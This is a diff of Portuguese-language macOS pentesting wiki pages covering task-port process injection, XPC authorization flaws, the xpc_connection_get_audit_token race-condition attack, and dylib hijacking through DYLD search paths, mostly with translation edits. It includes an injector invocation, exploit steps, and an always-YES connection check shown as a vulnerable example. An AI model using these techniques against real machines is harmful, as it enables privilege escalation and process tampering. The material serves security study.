Portanto, para **melhorar a thread**, ela deve chamar **`pthread_create_from_mach_thread`**, que irá **criar um pthread válido**. Então, esse novo pthread poderia **chamar dlopen** para **carregar um dylib** do sistema, assim, em vez de escrever um novo shellcode para realizar diferentes ações, é possível carregar bibliotecas personalizadas.
Você pode encontrar **exemplos de dylibs** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
Você pode encontrar **dylibs de exemplo** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -1062,10 +1066,11 @@ fprintf(stderr,"Dylib not found\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Sequestro de Thread via Porta de Tarefa <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Nesta técnica, uma thread do processo é sequestrada:
{{#ref}}
macos-thread-injection-via-task-port.md
{{#endref}}
@ -1076,7 +1081,7 @@ Ao chamar `task_for_pid` ou `thread_create_*`, um contador na estrutura de taref
## Portas de Exceção
Quando uma exceção ocorre em uma thread, essa exceção é enviada para a porta de exceção designada da thread. Se a thread não a manipular, então é enviada para as portas de exceção da tarefa. Se a tarefa não a manipular, então é enviada para a porta do host, que é gerenciada pelo launchd (onde será reconhecida). Isso é chamado de triagem de exceção.
Quando uma exceção ocorre em uma thread, essa exceção é enviada para a porta de exceção designada da thread. Se a thread não a manipular, ela é enviada para as portas de exceção da tarefa. Se a tarefa não a manipular, ela é enviada para a porta do host, que é gerenciada pelo launchd (onde será reconhecida). Isso é chamado de triagem de exceção.
Note que, no final, geralmente, se não for manipulada corretamente, o relatório acabará sendo tratado pelo daemon ReportCrash. No entanto, é possível que outra thread na mesma tarefa gerencie a exceção, isso é o que ferramentas de relatório de falhas como `PLCreashReporter` fazem.
@ -1103,7 +1108,7 @@ Estas são algumas APIs interessantes para interagir com o conjunto de processad
- `processor_set_info`
Como mencionado em [**este post**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/), no passado isso permitia contornar a proteção mencionada anteriormente para obter portas de tarefa em outros processos para controlá-los chamando **`processor_set_tasks`** e obtendo uma porta de host em cada processo.\
Hoje em dia, você precisa ser root para usar essa função e isso é protegido, então você só poderá obter essas portas em processos não protegidos.
Hoje em dia, você precisa de root para usar essa função e isso é protegido, então você só poderá obter essas portas em processos não protegidos.
Você pode tentar com:
@ -1220,6 +1225,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
{{#ref}}
macos-xpc/
{{#endref}}
@ -1232,6 +1238,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}

20
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md
View File

@ -4,9 +4,9 @@
## Informações Básicas
XPC, que significa Comunicação Inter-Processo XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método assíncronas e seguras entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com separação de privilégios** onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de dano de um processo comprometido.
XPC, que significa Comunicação Inter-Processo do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer **chamadas de método seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim o potencial de dano de um processo comprometido.
O XPC utiliza uma forma de Comunicação Inter-Processo (IPC), que é um conjunto de métodos para diferentes programas em execução no mesmo sistema trocarem dados.
O XPC usa uma forma de Comunicação Inter-Processo (IPC), que é um conjunto de métodos para diferentes programas em execução no mesmo sistema trocarem dados.
Os principais benefícios do XPC incluem:
@ -89,7 +89,7 @@ Um exemplo de um **`xpc_pipe`** é o **bootstrap pipe** criado pelo **`launchd`*
- **`NSXPC*`**
Esses são objetos de alto nível em Objective-C que permitem a abstração de conexões XPC.\
Estes são objetos de alto nível em Objective-C que permitem a abstração de conexões XPC.\
Além disso, é mais fácil depurar esses objetos com DTrace do que os anteriores.
- **`GCD Queues`**
@ -98,29 +98,29 @@ XPC usa GCD para passar mensagens, além disso, gera certas filas de despacho co
## Serviços XPC
Esses são **pacotes com extensão `.xpc`** localizados dentro da pasta **`XPCServices`** de outros projetos e no `Info.plist` eles têm o `CFBundlePackageType` definido como **`XPC!`**.\
Estes são **pacotes com extensão `.xpc`** localizados dentro da pasta **`XPCServices`** de outros projetos e no `Info.plist` eles têm o `CFBundlePackageType` definido como **`XPC!`**.\
Este arquivo possui outras chaves de configuração, como `ServiceType`, que pode ser Application, User, System ou `_SandboxProfile`, que pode definir um sandbox, ou `_AllowedClients`, que pode indicar direitos ou ID necessários para contatar o serviço. Essas e outras opções de configuração serão úteis para configurar o serviço ao ser iniciado.
### Iniciando um Serviço
O aplicativo tenta **conectar** a um serviço XPC usando `xpc_connection_create_mach_service`, então o launchd localiza o daemon e inicia **`xpcproxy`**. **`xpcproxy`** impõe as restrições configuradas e gera o serviço com os FDs e portas Mach fornecidos.
O aplicativo tenta **conectar** a um serviço XPC usando `xpc_connection_create_mach_service`, então o launchd localiza o daemon e inicia o **`xpcproxy`**. O **`xpcproxy`** impõe as restrições configuradas e gera o serviço com os FDs e portas Mach fornecidos.
Para melhorar a velocidade da busca pelo serviço XPC, um cache é utilizado.
É possível rastrear as ações de `xpcproxy` usando:
É possível rastrear as ações do `xpcproxy` usando:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
A biblioteca XPC usa `kdebug` para registrar ações chamando `xpc_ktrace_pid0` e `xpc_ktrace_pid1`. Os códigos que utiliza não são documentados, então é necessário adicioná-los em `/usr/share/misc/trace.codes`. Eles têm o prefixo `0x29` e, por exemplo, um é `0x29000004`: `XPC_serializer_pack`.\
A biblioteca XPC usa `kdebug` para registrar ações chamando `xpc_ktrace_pid0` e `xpc_ktrace_pid1`. Os códigos que utiliza não são documentados, então é necessário adicioná-los em `/usr/share/misc/trace.codes`. Eles têm o prefixo `0x29` e, por exemplo, um deles é `0x29000004`: `XPC_serializer_pack`.\
A utilidade `xpcproxy` usa o prefixo `0x22`, por exemplo: `0x2200001c: xpcproxy:will_do_preexec`.
## Mensagens de Evento XPC
Aplicativos podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando tais eventos ocorrem. A **configuração** para esses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios que os anteriores** e contendo uma chave extra **`LaunchEvent`**.
### Verificação do Processo Conectando via XPC
### Verificação do Processo de Conexão XPC
Quando um processo tenta chamar um método através de uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
Quando um processo tenta chamar um método via uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
{{#ref}}
macos-xpc-connecting-process-check/
@ -440,7 +440,7 @@ return;
## Remote XPC
Essa funcionalidade fornecida pelo `RemoteXPC.framework` (do `libxpc`) permite comunicar via XPC entre diferentes hosts.\
Os serviços que suportam XPC remoto terão em seu plist a chave UsesRemoteXPC, como é o caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. No entanto, embora o serviço esteja registrado com `launchd`, é o `UserEventAgent` com os plugins `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` que fornece a funcionalidade.
Os serviços que suportam XPC remoto terão em seu plist a chave UsesRemoteXPC, como é o caso de `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`. No entanto, embora o serviço seja registrado com `launchd`, é o `UserEventAgent` com os plugins `com.apple.remoted.plugin` e `com.apple.remoteservicediscovery.events.plugin` que fornece a funcionalidade.
Além disso, o `RemoteServiceDiscovery.framework` permite obter informações do `com.apple.remoted.plugin`, expondo funções como `get_device`, `get_unique_device`, `connect`...

12
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
View File

@ -10,7 +10,7 @@ Quando um aplicativo precisa **executar ações como um usuário privilegiado**,
### ShouldAcceptNewConnection sempre YES
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m`, ele tenta **conectar** ao **HelperTool**. E em `HelperTool/HelperTool.m`, a função **`shouldAcceptNewConnection`** **não verificará** nenhum dos requisitos indicados anteriormente. Sempre retornará YES:
Um exemplo pode ser encontrado em [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Em `App/AppDelegate.m` ele tenta **conectar** ao **HelperTool**. E em `HelperTool/HelperTool.m` a função **`shouldAcceptNewConnection`** **não verificará** nenhum dos requisitos indicados anteriormente. Ela sempre retornará YES:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES;
}
```
Para mais informações sobre como configurar corretamente esta verificação, consulte:
Para mais informações sobre como configurar corretamente esta verificação:
{{#ref}}
macos-xpc-connecting-process-check/
@ -228,7 +228,7 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
Note que para **verificar os requisitos para obter o direito** de chamar esse método, a função `authorizationRightForCommand` apenas verificará o objeto de comentário previamente mencionado **`commandInfo`**. Em seguida, chamará **`AuthorizationCopyRights`** para verificar **se possui os direitos** de chamar a função (note que as flags permitem interação com o usuário).
Note que para **verificar os requisitos para obter o direito** de chamar esse método, a função `authorizationRightForCommand` apenas verificará o objeto de comentário previamente mencionado **`commandInfo`**. Em seguida, chamará **`AuthorizationCopyRights`** para verificar **se possui os direitos** para chamar a função (note que as flags permitem interação com o usuário).
Neste caso, para chamar a função `readLicenseKeyAuthorization`, o `kCommandKeyAuthRightDefault` é definido como `@kAuthorizationRuleClassAllow`. Assim, **qualquer um pode chamá-la**.
@ -249,12 +249,12 @@ security authorizationdb read com.apple.safaridriver.allow
Você pode encontrar **todas as configurações de permissões** [**aqui**](https://www.dssw.co.uk/reference/authorization-rights/), mas as combinações que não exigirão interação do usuário seriam:
1. **'authenticate-user': 'false'**
- Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter este direito.
- Esta é a chave mais direta. Se definida como `false`, especifica que um usuário não precisa fornecer autenticação para obter esse direito.
- Isso é usado em **combinação com uma das 2 abaixo ou indicando um grupo** ao qual o usuário deve pertencer.
2. **'allow-root': 'true'**
- Se um usuário estiver operando como o usuário root (que tem permissões elevadas), e esta chave estiver definida como `true`, o usuário root poderia potencialmente obter este direito sem mais autenticação. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
- Se um usuário estiver operando como o usuário root (que tem permissões elevadas), e esta chave estiver definida como `true`, o usuário root poderia potencialmente obter esse direito sem mais autenticação. No entanto, tipicamente, alcançar o status de usuário root já requer autenticação, então este não é um cenário de "sem autenticação" para a maioria dos usuários.
3. **'session-owner': 'true'**
- Se definida como `true`, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente este direito. Isso pode contornar a autenticação adicional se o usuário já estiver logado.
- Se definida como `true`, o proprietário da sessão (o usuário atualmente logado) obteria automaticamente esse direito. Isso pode contornar a autenticação adicional se o usuário já estiver logado.
4. **'shared': 'true'**
- Esta chave não concede direitos sem autenticação. Em vez disso, se definida como `true`, significa que uma vez que o direito tenha sido autenticado, ele pode ser compartilhado entre vários processos sem que cada um precise re-autenticar. Mas a concessão inicial do direito ainda exigiria autenticação, a menos que combinada com outras chaves como `'authenticate-user': 'false'`.

4
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/README.md
View File

@ -36,9 +36,9 @@ Para mais informações sobre o ataque **`xpc_connection_get_audit_token`**, ver
macos-xpc_connection_get_audit_token-attack.md
{{#endref}}
### Trustcache - Prevenção de Ataques de Downgrade
### Trustcache - Downgrade Attacks Prevention
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, de modo que apenas binários não modificados permitidos possam ser executados. Isso previne a execução de versões de downgrade.
Trustcache é um método defensivo introduzido em máquinas Apple Silicon que armazena um banco de dados de CDHSAH de binários da Apple, de modo que apenas binários não modificados permitidos possam ser executados. Isso previne a execução de versões anteriores.
### Code Examples

20
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
View File

@ -13,7 +13,7 @@ Se você não sabe o que são Mensagens Mach, comece a verificar esta página:
{{#endref}}
Por enquanto, lembre-se que ([definição daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mensagens Mach são enviadas através de um _mach port_, que é um canal de comunicação **de um único receptor e múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos podem enviar mensagens** para um mach port, mas em qualquer momento **apenas um único processo pode ler a partir dele**. Assim como descritores de arquivo e sockets, mach ports são alocados e gerenciados pelo kernel e os processos veem apenas um inteiro, que podem usar para indicar ao kernel qual dos seus mach ports desejam usar.
Mensagens Mach são enviadas através de um _mach port_, que é um canal de comunicação **de receptor único e múltiplos remetentes** incorporado no kernel mach. **Múltiplos processos podem enviar mensagens** para um mach port, mas em qualquer momento **apenas um único processo pode ler a partir dele**. Assim como descritores de arquivo e sockets, mach ports são alocados e gerenciados pelo kernel e os processos veem apenas um inteiro, que podem usar para indicar ao kernel qual dos seus mach ports desejam usar.
## Conexão XPC
@ -27,14 +27,14 @@ Se você não sabe como uma conexão XPC é estabelecida, verifique:
O que é interessante saber é que **a abstração do XPC é uma conexão um-para-um**, mas é baseada em uma tecnologia que **pode ter múltiplos remetentes, então:**
- Mach ports são de um único receptor, **múltiplos remetentes**.
- Mach ports são de receptor único, **múltiplos remetentes**.
- O token de auditoria de uma conexão XPC é o token de auditoria **copiado da mensagem recebida mais recentemente**.
- Obter o **token de auditoria** de uma conexão XPC é crítico para muitas **verificações de segurança**.
Embora a situação anterior pareça promissora, existem alguns cenários onde isso não causará problemas ([daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
- Tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o serviço port, **nenhuma conexão foi estabelecida ainda**. Mais mensagens nesse port serão tratadas apenas como solicitações de conexão adicionais. Portanto, quaisquer **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria é seguro). Portanto, estamos **procurando conexões XPC que verificam ações específicas**.
- Manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não-resposta!).
- Tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para o serviço port, **nenhuma conexão foi estabelecida ainda**. Mais mensagens nesse port serão tratadas apenas como solicitações de conexão adicionais. Portanto, quaisquer **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Portanto, estamos **procurando conexões XPC que verificam ações específicas**.
- Manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não de resposta!).
Dois métodos diferentes que podem ser exploráveis:
@ -45,12 +45,12 @@ Dois métodos diferentes que podem ser exploráveis:
- Assim, uma **mensagem diferente** poderia **sobrescrever o Token de Auditoria** porque está sendo despachada assíncronamente fora do manipulador de eventos.
- O exploit passa para **o serviço B o direito de ENVIO para o serviço A**.
- Assim, o svc **B** estará realmente **enviando** as **mensagens** para o serviço **A**.
- O **exploit** tenta **chamar** a **ação privilegiada.** Em um RC, o svc **A** **verifica** a autorização dessa **ação** enquanto **svc B sobrescreveu o Token de Auditoria** (dando ao exploit acesso para chamar a ação privilegiada).
- O **exploit** tenta **chamar** a **ação privilegiada**. Em um RC, o svc **A** **verifica** a autorização dessa **ação** enquanto **svc B sobrescreveu o Token de Auditoria** (dando ao exploit acesso para chamar a ação privilegiada).
2. Variante 2:
- O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
- O exploit conecta-se com **o serviço A**, que **envia** ao exploit uma **mensagem esperando uma resposta** em um **port de resposta** específico.
- O exploit envia ao **serviço** B uma mensagem passando **aquele port de resposta**.
- Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma **mensagem diferente para o serviço A** tentando **alcançar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
- Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma mensagem diferente para o serviço A tentando **alcançar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
## Variante 1: chamando xpc_connection_get_audit_token fora de um manipulador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
@ -58,7 +58,7 @@ Cenário:
- Dois serviços mach **`A`** e **`B`** aos quais podemos nos conectar (com base no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
- _**A**_ deve ter uma **verificação de autorização** para uma ação específica que **`B`** pode passar (mas nosso aplicativo não pode).
- Por exemplo, se B tiver algumas **entitlements** ou estiver rodando como **root**, isso pode permitir que ele peça a A para realizar uma ação privilegiada.
- Por exemplo, se B tiver algumas **autorizações** ou estiver rodando como **root**, isso pode permitir que ele peça a A para realizar uma ação privilegiada.
- Para essa verificação de autorização, **`A`** obtém o token de auditoria de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
> [!CAUTION]
@ -71,7 +71,7 @@ Portanto, o serviço **B** é **`diagnosticd`** porque roda como **root** e pode
Para realizar o ataque:
1. Inicie uma **conexão** com o serviço chamado `smd` usando o protocolo XPC padrão.
2. Forme uma **conexão secundária** com `diagnosticd`. Ao contrário do procedimento normal, em vez de criar e enviar dois novos mach ports, o direito de envio do port do cliente é substituído por um duplicado do **direito de envio** associado à conexão `smd`.
2. Forme uma **conexão** secundária com `diagnosticd`. Ao contrário do procedimento normal, em vez de criar e enviar dois novos mach ports, o direito de envio do port do cliente é substituído por um duplicado do **direito de envio** associado à conexão `smd`.
3. Como resultado, mensagens XPC podem ser despachadas para `diagnosticd`, mas as respostas de `diagnosticd` são redirecionadas para `smd`. Para `smd`, parece que as mensagens do usuário e de `diagnosticd` estão originando da mesma conexão.
![Imagem representando o processo do exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
@ -98,7 +98,7 @@ Para explorar essa vulnerabilidade, a seguinte configuração é necessária:
O processo de exploração envolve os seguintes passos:
1. Aguarde o serviço **`A`** enviar uma mensagem que espera uma resposta.
2. Em vez de responder diretamente a **`A`**, o port de resposta é sequestrado e usado para enviar uma mensagem para o serviço **`B`**.
2. Em vez de responder diretamente a **`A`**, o port de resposta é sequestrado e usado para enviar uma mensagem ao serviço **`B`**.
3. Subsequentemente, uma mensagem envolvendo a ação proibida é despachada, com a expectativa de que será processada de forma concorrente com a resposta de **`B`**.
Abaixo está uma representação visual do cenário de ataque descrito:
@ -112,7 +112,7 @@ Abaixo está uma representação visual do cenário de ataque descrito:
- **Dificuldades em Localizar Instâncias**: A busca por instâncias de uso de `xpc_connection_get_audit_token` foi desafiadora, tanto estaticamente quanto dinamicamente.
- **Metodologia**: Frida foi empregada para interceptar a função `xpc_connection_get_audit_token`, filtrando chamadas que não se originavam de manipuladores de eventos. No entanto, esse método foi limitado ao processo interceptado e exigiu uso ativo.
- **Ferramentas de Análise**: Ferramentas como IDA/Ghidra foram usadas para examinar serviços mach acessíveis, mas o processo foi demorado, complicado por chamadas envolvendo o cache compartilhado dyld.
- **Limitações de Script**: Tentativas de scriptar a análise para chamadas a `xpc_connection_get_audit_token` a partir de blocos `dispatch_async` foram dificultadas por complexidades na análise de blocos e interações com o cache compartilhado dyld.
- **Limitações de Script**: Tentativas de scriptar a análise para chamadas a `xpc_connection_get_audit_token` de blocos `dispatch_async` foram dificultadas por complexidades na análise de blocos e interações com o cache compartilhado dyld.
## A correção <a href="#the-fix" id="the-fix"></a>

30
src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md
View File

@ -15,23 +15,23 @@ macos-dyld-process.md
## **DYLD_INSERT_LIBRARIES**
Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada)
Isso é como o [**LD_PRELOAD no Linux**](../../../../linux-hardening/privilege-escalation/index.html#ld_preload). Permite indicar a um processo que vai ser executado para carregar uma biblioteca específica de um caminho (se a variável de ambiente estiver habilitada)
Essa técnica também pode ser **usada como uma técnica ASEP** já que toda aplicação instalada tem um plist chamado "Info.plist" que permite a **atribuição de variáveis ambientais** usando uma chave chamada `LSEnvironmental`.
> [!NOTE]
> [!TIP]
> Desde 2012, **a Apple reduziu drasticamente o poder** do **`DYLD_INSERT_LIBRARIES`**.
>
> Vá para o código e **verifique `src/dyld.cpp`**. Na função **`pruneEnvironmentVariables`** você pode ver que as variáveis **`DYLD_*`** são removidas.
>
> Na função **`processRestricted`** a razão da restrição é definida. Verificando esse código você pode ver que as razões são:
> Na função **`processRestricted`** a razão da restrição é definida. Verificando esse código, você pode ver que as razões são:
>
> - O binário é `setuid/setgid`
> - Existência da seção `__RESTRICT/__restrict` no binário macho.
> - O software tem permissões (runtime endurecido) sem a permissão [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)
> - Verifique as **permissões** de um binário com: `codesign -dv --entitlements :- </path/to/bin>`
>
> Em versões mais atualizadas você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`**. No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS).
> Em versões mais atualizadas, você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`**. No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS).
### Validação de Biblioteca
@ -64,19 +64,19 @@ No entanto, a maneira como as aplicações **MacOS** **carregam** bibliotecas é
Primeiro de tudo, é **mais comum** encontrar que **binários MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E segundo, **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas.
A **parte principal** do **código** relacionada a essa funcionalidade está em **`ImageLoader::recursiveLoadLibraries`** em `ImageLoader.cpp`.
A parte **principal** do **código** relacionada a essa funcionalidade está em **`ImageLoader::recursiveLoadLibraries`** em `ImageLoader.cpp`.
Existem **4 comandos de cabeçalho diferentes** que um binário macho pode usar para carregar bibliotecas:
- O comando **`LC_LOAD_DYLIB`** é o comando comum para carregar um dylib.
- O comando **`LC_LOAD_WEAK_DYLIB`** funciona como o anterior, mas se o dylib não for encontrado, a execução continua sem erro.
- O comando **`LC_REEXPORT_DYLIB`** faz proxy (ou reexporta) os símbolos de uma biblioteca diferente.
- O comando **`LC_REEXPORT_DYLIB`** proxy (ou reexporta) os símbolos de uma biblioteca diferente.
- O comando **`LC_LOAD_UPWARD_DYLIB`** é usado quando duas bibliotecas dependem uma da outra (isso é chamado de _dependência ascendente_).
No entanto, existem **2 tipos de sequestramento de dylib**:
- **Bibliotecas fracas vinculadas ausentes**: Isso significa que a aplicação tentará carregar uma biblioteca que não existe configurada com **LC_LOAD_WEAK_DYLIB**. Então, **se um atacante colocar um dylib onde se espera que ele seja carregado**.
- O fato de o link ser "fraco" significa que a aplicação continuará em execução mesmo que a biblioteca não seja encontrada.
- O fato de que o link é "fraco" significa que a aplicação continuará executando mesmo que a biblioteca não seja encontrada.
- O **código relacionado** a isso está na função `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp` onde `lib->required` é apenas `false` quando `LC_LOAD_WEAK_DYLIB` é verdadeiro.
- **Encontre bibliotecas fracas vinculadas** em binários com (você tem mais tarde um exemplo de como criar bibliotecas de sequestro):
- ```bash
@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
Do **`man dlopen`**:
- Quando o caminho **não contém um caractere de barra** (ou seja, é apenas um nome de folha), **dlopen() fará a busca**. Se **`$DYLD_LIBRARY_PATH`** foi definido na inicialização, dyld primeiro **procurará nesse diretório**. Em seguida, se o arquivo macho chamador ou o executável principal especificarem um **`LC_RPATH`**, então dyld **procurará nesses** diretórios. Em seguida, se o processo for **sem restrições**, dyld procurará no **diretório de trabalho atual**. Por último, para binários antigos, dyld tentará algumas alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`** (essa informação foi retirada do **`man dlopen`**).
- Quando o caminho **não contém um caractere de barra** (ou seja, é apenas um nome de folha), **dlopen() fará a busca**. Se **`$DYLD_LIBRARY_PATH`** foi definido na inicialização, dyld primeiro **procurará nesse diretório**. Em seguida, se o arquivo mach-o chamador ou o executável principal especificarem um **`LC_RPATH`**, então dyld **procurará nesses** diretórios. Em seguida, se o processo for **sem restrições**, dyld procurará no **diretório de trabalho atual**. Por último, para binários antigos, dyld tentará algumas alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`** (essa informação foi retirada do **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(se sem restrições)
@ -143,9 +143,9 @@ Do **`man dlopen`**:
> [!CAUTION]
> Se um caminho de framework, a maneira de sequestrá-lo seria:
>
> - Se o processo for **sem restrições**, abusando do **caminho relativo do CWD** as variáveis de ambiente mencionadas (mesmo que não esteja dito na documentação, se o processo for restrito, as variáveis de ambiente DYLD_* são removidas)
> - Se o processo for **sem restrições**, abusando do **caminho relativo do CWD** as variáveis de ambiente mencionadas (mesmo que não esteja dito na documentação, se o processo for restrito, as variáveis de ambiente DYLD\_\* são removidas)
- Quando o caminho **contém uma barra, mas não é um caminho de framework** (ou seja, um caminho completo ou um caminho parcial para um dylib), dlopen() primeiro procura em (se definido) **`$DYLD_LIBRARY_PATH`** (com a parte da folha do caminho). Em seguida, dyld **tenta o caminho fornecido** (usando o diretório de trabalho atual para caminhos relativos (mas apenas para processos sem restrições)). Por último, para binários mais antigos, dyld tentará alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`**.
- Quando o caminho **contém uma barra, mas não é um caminho de framework** (ou seja, um caminho completo ou um caminho parcial para um dylib), dlopen() primeiro procura (se definido) em **`$DYLD_LIBRARY_PATH`** (com a parte da folha do caminho). Em seguida, dyld **tenta o caminho fornecido** (usando o diretório de trabalho atual para caminhos relativos (mas apenas para processos sem restrições)). Por último, para binários mais antigos, dyld tentará alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. caminho fornecido (usando o diretório de trabalho atual para caminhos relativos se sem restrições)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
@ -157,7 +157,7 @@ Do **`man dlopen`**:
>
> - Se o binário for **sem restrições** e então é possível carregar algo do CWD ou `/usr/local/lib` (ou abusar de uma das variáveis de ambiente mencionadas)
> [!NOTE]
> [!TIP]
> Nota: Não há **arquivos de configuração** para **controlar a busca do dlopen**.
>
> Nota: Se o executável principal for um **binário set\[ug]id ou assinado com permissões**, então **todas as variáveis de ambiente são ignoradas**, e apenas um caminho completo pode ser usado ([verifique as restrições do DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) para mais informações detalhadas)
@ -211,13 +211,13 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
